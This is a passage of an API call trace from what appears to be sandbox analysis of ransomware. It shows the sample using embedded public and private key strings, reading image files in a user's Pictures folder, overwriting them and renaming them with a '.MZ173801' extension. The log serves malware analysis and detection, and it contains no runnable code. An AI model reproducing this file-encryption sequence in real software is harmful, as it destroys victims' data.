xQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0153.525] GetCurrentThreadId () returned 0xab4 [0153.525] GetCurrentThreadId () returned 0xab4 [0153.525] GetCurrentThreadId () returned 0xab4 [0153.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.527] GetCurrentThreadId () returned 0xab4 [0153.527] GetCurrentThreadId () returned 0xab4 [0153.527] GetCurrentThreadId () returned 0xab4 [0153.527] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\aEhM511O8dO.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\aehm511o8do.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.527] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.527] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.527] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x186be [0153.527] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.527] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x186be, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x186be, lpOverlapped=0x0) returned 1 [0153.529] CloseHandle (hObject=0x2f8) returned 1 [0153.535] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\aEhM511O8dO.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\aehm511o8do.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.537] WriteFile (in: hFile=0x2f8, lpBuffer=0x2505080*, nNumberOfBytesToWrite=0x186be, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x2505080*, lpNumberOfBytesWritten=0x19f758*=0x186be, lpOverlapped=0x0) returned 1 [0153.541] CloseHandle (hObject=0x2f8) returned 1 [0153.545] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\aEhM511O8dO.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\aehm511o8do.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\aEhM511O8dO.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\aehm511o8do.png.mz173801")) returned 1 [0153.546] GetCurrentThreadId () returned 0xab4 [0153.546] GetCurrentThreadId () returned 0xab4 [0153.546] GetCurrentThreadId () returned 0xab4 [0153.546] GetCurrentThreadId () returned 0xab4 [0153.546] GetCurrentThreadId () returned 0xab4 [0153.546] GetCurrentThreadId () returned 0xab4 [0153.546] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36509770, ftCreationTime.dwHighDateTime=0x1d5e81b, ftLastAccessTime.dwLowDateTime=0xf0f8cd0, ftLastAccessTime.dwHighDateTime=0x1d5e851, ftLastWriteTime.dwLowDateTime=0xf0f8cd0, ftLastWriteTime.dwHighDateTime=0x1d5e851, nFileSizeHigh=0x0, nFileSizeLow=0xe7be, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="BaruB.jpg", cAlternateFileName="")) returned 1 [0153.546] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.546] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.546] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\BaruB.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\barub.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36509770, ftCreationTime.dwHighDateTime=0x1d5e81b, ftLastAccessTime.dwLowDateTime=0xf0f8cd0, ftLastAccessTime.dwHighDateTime=0x1d5e851, ftLastWriteTime.dwLowDateTime=0xf0f8cd0, ftLastWriteTime.dwHighDateTime=0x1d5e851, nFileSizeHigh=0x0, nFileSizeLow=0xe7be)) returned 1 [0153.559] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\BaruB.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\barub.jpg")) returned 0x20 [0153.559] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\BaruB.jpg", dwFileAttributes=0x80) returned 1 [0153.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.564] GetCurrentThreadId () returned 0xab4 [0153.564] GetCurrentThreadId () returned 0xab4 [0153.564] GetCurrentThreadId () returned 0xab4 [0153.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.565] GetCurrentThreadId () returned 0xab4 [0153.565] GetCurrentThreadId () returned 0xab4 [0153.565] GetCurrentThreadId () returned 0xab4 [0153.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\BaruB.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\barub.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.565] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 